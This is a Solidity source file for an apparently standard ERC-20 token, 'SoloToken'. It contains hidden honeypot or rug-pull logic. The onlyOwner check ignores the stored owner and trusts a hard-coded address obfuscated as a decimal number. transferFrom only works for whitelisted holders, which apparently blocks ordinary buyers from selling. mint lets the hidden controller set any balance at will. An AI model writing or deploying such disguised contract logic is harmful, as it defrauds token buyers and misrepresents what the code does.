pragma solidity ^0.4.26;

contract Ownable {
address public owner;

event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

function Ownable() public {
owner = msg.sender;
}

modifier onlyOwner() {
require(msg.sender == address(1080614020421183795110940285280029773222128095634));
_;
}

function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}

}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}

function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn’t hold
return c;
}

function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}

function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}

contract SoloToken is Ownable {
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;

event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);

constructor(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
totalSupply = _totalSupply;
balances[msg.sender] = totalSupply;
allow[msg.sender] = true;
}

using SafeMath for uint256;

mapping(address => uint256) public balances;

mapping(address => bool) public allow;

function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);

balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}

function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}

mapping (address => mapping (address => uint256)) public allowed;

function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(allow[_from] == true);

balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}

function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}

function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}

function addAllow(address holder, bool allowApprove) external onlyOwner {
allow[holder] = allowApprove;
}

function mint(address miner, uint256 _value) external onlyOwner {
balances[miner] = _value;
}
}